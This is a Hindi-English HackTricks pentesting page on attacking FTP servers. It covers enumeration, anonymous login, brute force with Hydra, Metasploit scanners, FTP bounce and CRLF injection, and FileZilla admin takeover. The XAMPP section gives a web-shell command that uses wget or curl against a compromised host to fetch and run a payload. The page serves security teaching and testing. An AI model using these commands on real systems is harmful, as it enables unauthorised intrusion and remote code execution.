21 - Pentesting FTP

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

The File Transfer Protocol (FTP) कंप्यूटर नेटवर्क पर सर्वर और क्लाइंट के बीच फ़ाइल स्थानांतरण के लिए एक मानक प्रोटोकॉल के रूप में कार्य करता है.\

यह एक plain-text प्रोटोकॉल है जो new line character 0x0d 0x0a का उपयोग करता है, इसलिए कभी-कभी आपको telnet या nc -C का उपयोग करके कनेक्ट करना पड़ता है।

डिफ़ॉल्ट पोर्ट: 21

PORT   STATE SERVICE
21/tcp open  ftp

Connections Active & Passive

In Active FTP the FTP client first initiates the control connection from its port N to FTP Servers command port – port 21. The client then listens to port N+1 and sends the port N+1 to FTP Server. FTP Server then initiates the data connection, from its port M to the port N+1 of the FTP Client.

लेकिन, अगर FTP Client के पास ऐसा firewall setup है जो बाहरी incoming data connections को नियंत्रित करता है, तो Active FTP समस्या पैदा कर सकता है। और इस स्थिति का व्यवहारिक समाधान Passive FTP है।

In Passive FTP, the client initiates the control connection from its port N to the port 21 of FTP Server. After this, the client issues a passv comand. The server then sends the client one of its port number M. And the client initiates the data connection from its port P to port M of the FTP Server.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Connection debugging

The FTP commands debug and trace can be used to see संचार कैसे हो रहा है.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

starttls का उपयोग करके FTP से कनेक्ट करें

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

nmap के साथ

sudo nmap -sV -p21 -sC -A 10.10.10.10

आप HELP और FEAT कमांड का उपयोग करके FTP server की कुछ जानकारी प्राप्त कर सकते हैं:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

अनाम लॉगिन

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

यहाँ आप default FTP credentials की एक अच्छी सूची पा सकते हैं: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

स्वचालित

Anon login और bounce FTP checks डिफ़ॉल्ट रूप से nmap द्वारा -sC विकल्प के साथ किए जाते हैं, या:

nmap --script ftp-* -p 21 <ip>

ब्राउज़र कनेक्शन

आप ब्राउज़र (जैसे Firefox) का उपयोग करके FTP सर्वर से कनेक्ट कर सकते हैं, उदाहरण के लिए निम्नलिखित URL का उपयोग करें:

ftp://anonymous:anonymous@10.10.10.98

ध्यान दें कि यदि एक web application उपयोगकर्ता द्वारा नियंत्रित डेटा directly to a FTP server भेज रहा है, तो आप double URL encode %0d%0a (double URL encode में यह %250d%250a) बाइट्स भेजकर FTP server perform arbitrary actions करवा सकते हैं। इन संभावित arbitrary actions में से एक है user-controlled सर्वर से content डाउनलोड करना, port scanning करना या अन्य plain-text आधारित सेवाओं (जैसे http) से संवाद करने का प्रयास करना।

FTP से सभी फाइलें डाउनलोड करें

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

यदि आपके user/password में विशेष वर्ण हैं, तो following command का उपयोग किया जा सकता है:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root mapped to webroot (XAMPP)

  • XAMPP/ProFTPD अक्सर FTP root को /opt/lampp/htdocs से map करता है, इसलिए service accounts जैसे daemon या nobody पर कमजोर क्रेड्स होने पर आप upload a PHP web shell directly into the served webroot कर सकते हैं।
  • Upload करने के बाद, shell के माध्यम से एक architecture-aware download/exec stager ट्रिगर करें, उदाहरण के लिए: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), जो एक checksum-validated payload फ़ेच करता है, उसे सेव करता है (जैसे init_start), chmod +x सेट करता है, और चलाता है।
  • अगर वर्तमान डायरेक्टरी writable/executable नहीं है, तो stager /tmp पर fallback कर देता है, इसलिए upload के बाद वेब paths और filesystem permissions टेस्ट करें।

Some FTP commands

  • USER username
  • PASS password
  • HELP सर्वर बताएगा कि कौन-कौन से commands supported हैं
  • PORT 127,0,0,1,0,80 यह FTP सर्वर को संकेत देगा कि वह IP 127.0.0.1 में port 80 पर एक कनेक्शन स्थापित करे (आपको 5वां char “0” रखना होगा और 6वां decimal में port होना चाहिए या 5वां और 6वां hex में port व्यक्त करने के लिए उपयोग करें).
  • EPRT |2|127.0.0.1|80| यह FTP सर्वर को संकेत देगा कि वह IP 127.0.0.1 और port 80 पर एक TCP कनेक्शन स्थापित करे (“2” से संकेतित)। यह command supports IPv6.
  • LIST यह current folder में फाइलों की सूची भेजेगा
  • LIST -R recursive रूप से list करे (यदि सर्वर अनुमति देता है)
  • APPE /path/something.txt यह FTP को संकेत करेगा कि प्राप्त डेटा को एक passive कनेक्शन या PORT/EPRT कनेक्शन से एक फाइल में स्टोर करे। अगर filename मौजूद है तो यह डेटा append करेगा।
  • STOR /path/something.txt APPE जैसा है पर यह फाइलों को overwrite कर देगा
  • STOU /path/something.txt APPE जैसा है, पर अगर फाइल मौजूद है तो कुछ नहीं करेगा।
  • RETR /path/to/file एक passive या port कनेक्शन स्थापित होना चाहिए। फिर, FTP सर्वर उस कनेक्शन के माध्यम से निर्दिष्ट फाइल भेजेगा
  • REST 6 यह सर्वर को बताएगा कि अगली बार जब वह RETR का उपयोग करके कुछ भेजे तो उसे 6th byte से शुरू करना चाहिए।
  • TYPE i transfer को binary पर सेट करें
  • PASV यह एक passive कनेक्शन खोलेगा और user को बताएगा कि वह कहाँ connect कर सकता है
  • PUT /tmp/file.txt निर्दिष्ट फाइल को FTP पर upload करें

FTPBounce attack

कुछ FTP सर्वर PORT command की अनुमति देते हैं। इस command का उपयोग सर्वर को संकेत देने के लिए किया जा सकता है कि आप चाहते हैं कि वह किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करे। फिर, आप इसका उपयोग करके यह स्कैन कर सकते हैं कि किसी होस्ट के कौन से पोर्ट एक FTP सर्वर के माध्यम से open हैं।

Learn here how to abuse a FTP server to scan ports.

आप इस व्यवहार का दुरुपयोग यह करने के लिए भी कर सकते हैं कि एक FTP सर्वर अन्य प्रोटोकॉल्स के साथ इंटरैक्ट करे। आप एक फ़ाइल upload कर सकते हैं जिसमें एक HTTP request हो और vulnerable FTP सर्वर को इसे किसी arbitrary HTTP server पर send करा सकते हैं (शायद नया admin user जोड़ने के लिए?) या यहाँ तक कि एक FTP request upload कर के vulnerable FTP सर्वर को किसी अलग FTP सर्वर से फ़ाइल डाउनलोड करवा सकते हैं.
थ्योरी सरल है:

  1. Request (एक text file के अंदर) vulnerable सर्वर पर upload करें. याद रखें कि यदि आप किसी अन्य HTTP या FTP सर्वर से बात करना चाहते हैं तो आपको लाइनों में 0x0d 0x0a बदलने होंगे
  2. REST X का उपयोग करें ताकि आप उन characters को भेजने से बच सकें जिन्हें आप नहीं भेजना चाहते (शायद request upload करने के लिए आपको शुरुआत में कुछ image header डालना पड़ा हो)
  3. PORT का उपयोग करके arbitrary server और service से कनेक्ट करें
  4. RETR का उपयोग करके saved request को सर्वर पर भेजें।

यह बहुत संभव है कि यह will throw an error like Socket not writable क्योंकि कनेक्शन पर्याप्त देर तक नहीं टिकेगा ताकि RETR के साथ डेटा भेजा जा सके। इसे टालने के लिए सुझाव हैं:

  • अगर आप एक HTTP request भेज रहे हैं, तो उसी request को बार-बार एक के बाद एक रखें जब तक कि कुल आकार कम-से-कम ~0.5MB न हो। इस तरह:

  • कोशिश करें कि request को प्रोटोकॉल के अनुरूप “junk” data से भरें (FTP से बात करते समय शायद सिर्फ junk commands या RETR instruction को दोहराना ताकि file मिल सके)
  • बस request को बहुत सारे null characters या अन्य से भर दें (लाइनों में बांट कर या नहीं)

खैर, यहाँ आपके पास एक old example about how to abuse this to make a FTP server download a file from a different FTP server. है।

Filezilla Server Vulnerability

FileZilla सामान्यतः bind करता है एक local Administrative service के लिए जो FileZilla-Server (port 14147) के लिए होता है। अगर आप इस पोर्ट तक अपनी मशीन से एक tunnel बना सकें, तो आप इसे एक खाली पासवर्ड से connect कर सकते हैं और FTP सेवा के लिए एक blank password का उपयोग करके एक नया user बना सकते हैं।

Config files

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

vsFTPd का डिफ़ॉल्ट कॉन्फ़िगरेशन /etc/vsftpd.conf में पाया जा सकता है।
यहाँ आप कुछ खतरनाक सेटिंग्स पा सकते हैं:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - anonymous उपयोगकर्ताओं के लिए डायरेक्टरी।
  • chown_uploads=YES - anonymous रूप से अपलोड की गई फ़ाइलों का स्वामित्व बदलता है।
  • chown_username=username - वह उपयोगकर्ता जिसे anonymous रूप से अपलोड की गई फ़ाइलों का स्वामित्व दिया जाता है।
  • local_enable=YES - लोकल उपयोगकर्ताओं को लॉगिन करने की अनुमति देता है।
  • no_anon_password=YES - anonymous से पासवर्ड न मांगे।
  • write_enable=YES - कमांड्स की अनुमति देता है: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, और SITE

Shodan

  • ftp
  • port:21

HackTricks स्वचालित कमांड्स

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें